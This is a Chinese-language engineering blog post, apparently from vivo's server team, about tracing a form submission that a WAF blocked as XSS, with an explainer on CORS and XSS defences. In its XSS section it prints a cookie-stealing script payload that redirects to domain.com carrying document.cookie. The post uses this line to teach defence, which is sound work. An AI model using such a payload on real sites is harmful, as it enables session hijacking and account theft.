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层层剖析一次 HTTP POST 请求事故
网络 网络管理
本文主要讲述的是如何根据公司网络架构和业务特点,锁定正常请求被误判为跨域的原因并解决。

作者 | vivo 互联网服务器团队- Wei Ling

本文主要讲述的是如何根据公司网络架构和业务特点,锁定正常请求被误判为跨域的原因并解决。

一、问题描述

某一个业务后台在表单提交的时候,报跨域错误,具体如下图:

从图中可看出,报错原因为HTTP请求发送失败,由此,需先了解HTTP请求完整链路是什么。

HTTP请求一般经过3个关卡,分别为DNS、Nginx、Web服务器,具体流程如下图:

  • 浏览器发送请求首先到达当地运营商DNS服务器,经过域名解析获取请求 IP 地址
  • 浏览器获取 IP 地址后,发送HTTP请求到达Nginx,由Nginx反向代理到Web服务端
  • 最后,由web服务端返回相应的资源

了解HTTP基本请求链路后,结合问题,进行初步调查,发现此form表单是application/json格式的post提交。同时,此业务系统采用了前后端分离的架构方式(页面域名和后台服务域名不同 ), 并且在Nginx已经配置跨域解决方案。基于此,我们进行分析。

二、问题排查步骤

第一步:自测定位

既然是form表单,我们采用控制变量法,尝试对每一个字段进行修改后提交测试。在多次试验后,锁定表单中的moduleExport 字段的变化会导致这个问题。

考虑到moduleExport字段在业务上是一段JS代码,我们尝试对这段JS代码进行删除/修改,发现:当字段moduleExport中的这段js代码足够小的时候,问题消失。

基于上述发现,我们第一个猜想是:会不会是HTTP响应方的请求body大小限制导致了这个问题。

第二步:排查 HTTP 请求 body 限制

由于采用前后端分离,真实的请求是由 XXX.XXX.XXX 这个内网域名代表的服务进行响应的。而内网域名的响应链如下:

那么理论上,如果是HTTP请求body的限制,则可能发生在 LVS 层或者Nginx层或者Tomcat。我们一步步排查:

首先排查LVS层。若LVS层故障,则会出现网关异常的问题,返回码会为502。故此,通过抓包查看返回码,从下图可看出,返回码为418,故而排除LVS异常的可能

其次排查Nginx 层。Nginx层的HTTP配置如下:

我们看到,在Nginx层,最大支持的HTTP请求body为50m, 而我们这次事故的form请求表单,大约在2M, 远小于限制, 所以:不是Nginx 层HTTP请求body的限制造成的。

然后排查 Tomcat 层,查看 Tomcat 配置:

我们发现, Tomcat 对于最大post请求的size限制是-1, 语义上表示为无限制,所以: 不是 Tomcat 层HTTP请求body的限制造成的。

综上,我们可以认为:此次问题和HTTP请求body的大小限制无关。

那么问题来了,如果不是这两层导致的,那么还会有别的因素或者别的网络层导致的吗?

第三步:集思广益

我们把相关的运维方拉到了一个群里面进行讨论,讨论分两个阶段

【第一阶段】

运维方同学发现 Tomcat 是使用容器进行部署的,而容器和nginx层中间,存在一个容器自带的nameserver层——ingress。我们查看ingress的相关配置后,发现其对于HTTP请求body的大小限制为3072m。排除是ingress的原因。

【第二阶段】

安全方同学表示,公司为了防止XSS攻击,会对于所有后台请求,都进行XSS攻击的校验,如果校验不通过,会报跨域错误。

也就是说,理论上完整的网络层调用链如下图:

并且从WAF的工作机制和问题表象上来看,很有可能是WAF层的原因。

第四步:WAF 排查

带着上述的猜测,我们重新抓包,尝试获取整个HTTP请求的optrace路径,看看是不是在WAF层被拦截了,抓包结果如下:

从抓包数据上来看,status为complete代表前端请求发送成功,返回码为418,而optrace中的ip地址经查询为WAF服务器ip地址。

综上而言,form表单中的moduleExport字段的变化很可能导致在WAF层被拦截。而出现问题的moduleExport字段内容如下:

module.exports = {
"labelWidth": 80,
"schema": {
"title": "XXX",
"type": "array",
"items":{
"type":"object",
"required":["key","value"],
"properties":{
"conf":{
"title":"XXX",
"type":"string"
},
"configs":{
"title":"XXX",
"type":"array",
"items":{
......
config: {
......
validator: function(value, callback) {
// 至少填写一项
if(!value || !Object.keys(value).length) {
return callback(new Error('至少填写一项'))
}

callback()
}
}
......
}

我们进行一个字段一个字段排查后,锁定

module.exports.items.properties.configs.config.validator字段会触发WAF的拦截机制:请求包过WAF模块时会对所有的攻击规则都会进行匹配,若属于高危风险规则,则触发拦截动作。

三、 问题分析

整个故障的原因,是业务请求的内容触发了WAF的XSS攻击检测。那么问题来了

  • 为什么需要WAF
  • 什么是XSS攻击

在说明XSS之前,先得说清楚浏览器的跨域保护机制

3.1 跨域保护机制

现代浏览器都具备‘同源策略’,所谓同源策略,是指只有在地址的:

  • 协议名 HTTPS,HTTP
  • 域名
  • 端口名

均一样的情况下,才允许访问相同的cookie、localStorage或是发送Ajax请求等等。若在不同源的情况下访问,就称为跨域。而在日常开发中,存在合理的跨域需求,比如此次问题故障对应的系统,由于采用了前后端分离,导致页面的域名和后台的域名必然不相同。那么如何合理跨域便成了问题。

常见的跨域解决方案有:IFRAME, JSONP, CORS三种。

  • IFRAME 是在页面内部生成一个IFRAME,并在IFRAME内部动态编写JS进行提交。用到此技术的有早期的EXT框架等等。
  • JSONP 是将请求序列化成一个string,然后发起一个JS请求,带上string。此做法需要后台支持,并且只能使用GET请求。在当前的业内已经废除此方案。
  • CORS 协议的应用比较广泛,并且此次出事故的系统是采用了CORS进行前后端分离。那么,什么是CORS协议呢?

3.2 CORS协议

CORS(Cross-Origin Resource Sharing)跨源资源分享是解决浏览器跨域限制的W3C标准(官方文档),其核心思路是:在HTTP的请求头中设置相应的字段,浏览器在发现HTTP请求的相关字段被设置后,则会正常发起请求,后台则通过对这些字段的校验,决定此请求是否是合理的跨域请求。

CORS协议需要服务器的支持(非服务器的业务进程), 比如 Tomcat 7及其以后的版本等等。

对于开发者来说,CORS通信与同源的AJAX通信没有差别,代码完全一样。浏览器一旦发现AJAX请求跨源,就会自动添加一些附加的头信息,有时还会多出一次附加的请求,但用户不会有感觉。

因此,实现CORS通信的关键是服务器(服务器端可判断,让哪些域可以请求)。只要服务器实现了CORS协议,就可以跨源通信。

虽然CORS解决了跨域问题,但引入了风险,如XSS攻击,因此在到达服务器之前需加一层Web应用防火墙(WAF),它的作用是:过滤所有请求,当发现请求是跨域时,会对整个请求的报文进行规则匹配,如果发现规则不匹配,则直接报错返回(类似于此次案例中的418)。

整体流程如下:

不合理的跨域请求,我们一般认为是侵略性请求,这一类的请求,我们视为XSS攻击。那么广义而言的XSS攻击又是什么呢?

3.3 XSS 攻击机制

XSS为跨站脚本攻击(Cross-Site Scripting)的缩写,可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。

例如有一个论坛网站,攻击者可以在上面发布以下内容:

<script>location.href="//domain.com/?c=" + document.cookiescript>

之后该内容可能会被渲染成以下形式:

<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>

另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。

XSS通过伪造虚假的输入表单骗取个人信息、显示伪造的文章或者图片等方式可窃取用户的 Cookie,盗用Cookie后就可冒充用户访问各种系统,危害极大。

下面给出2种XSS防御机制。

3.4 XSS 防御机制

XSS防御机制主要包括以下两点:

3.4.1 设置 Cookie 为 HTTPOnly

设置了 HTTPOnly 的 Cookie 可以防止 JavaScript 脚本调用,就无法通过 document.cookie 获取用户 Cookie 信息。

3.4.2 过滤特殊字符

例如将 < 转义为&lt;,将> 转义为&gt;,从而避免 HTML 和 Jascript 代码的运行。

富文本编辑器允许用户输入 HTML 代码,就不能简单地将 < 等字符进行过滤了,极大地提高了 XSS 攻击的可能性。

富文本编辑器通常采用 XSS filter 来防范 XSS 攻击,通过定义一些标签白名单或者黑名单,从而不允许有攻击性的 HTML 代码的输入。

以下例子中,form 和 script 等标签都被转义,而 h 和 p 等标签将会保留。

<h1 id="title">XSS Demo</h1>

<p>123</p>

<form>
<input type="text" name="q" value="test">
</form>

<pre>hello</pre>

<script type="text/javascript">
alert(/xss/);
</script>
<h1>XSS Demo</h1>

<p>123</p>

转义后:

<h1>XSS Demo</h1>

<p>123</p>

&lt;form&gt;
&lt;input type="text" name="q" value="test"&gt;
&lt;/form&gt;

<pre>hello</pre>

&lt;script type="text/javascript"&gt;
alert(/xss/);
&lt;/script&gt;

四、问题解决

在确定问题后,让安全团队修改WAF的拦截规则后,问题消失。

最后,对此问题进行总结。

五、问题总结

纵览整个排查过程,最耗费资源的工作集中于问题定位:到底是哪个模块出现了问题。而定位模块的最大难点在于:对于网络全链路的不了解(之前并不知晓WAF层的存在)。

那么,针对类似的问题,我们后面应该如何去加速问题的解决呢?我认为有两点需要注意:

  • 采用控制变量法, 精准定位到问题的边界——什么时候能出现,什么时候不能出现。
  • 熟悉每一个模块的存在,以及每一个模块的职责边界和风险可能。

下面来逐个解释:

5.1 确定问题边界

我们在一开始,确定是form表单导致的问题后,我们就逐个字段进行修改验证,最终确定其中某个字段导致的现象。在定位到具体的问题发生地后,由将之前锁定的字段进行拆解,逐步分析字段中每个属性,从而最终确定XX属性的值触犯了WAF的规则机制。

5.2 定位模块错误

在此案例中,跨域拒绝的故障主要是网络层,那么我们就必须要摸清楚整个业务服务的网络层次结构。然后对每一层的情况进行分析。

  • 在Nginx层,我们对配置文件进行分析
  • 在ingress层,我们对其中的配置规则进行分析
  • 在Tomcat层,我们对server.xml的属性进行分析

总结而言,我们必须熟悉每一个模块的职责,并且知晓如何判断每一个模块是否在整个链路中正常工作,只有基于此,我们才能将问题原因的范围逐步缩小,从而最后获得答案。

责任编辑:未丽燕 来源: vivo互联网技术
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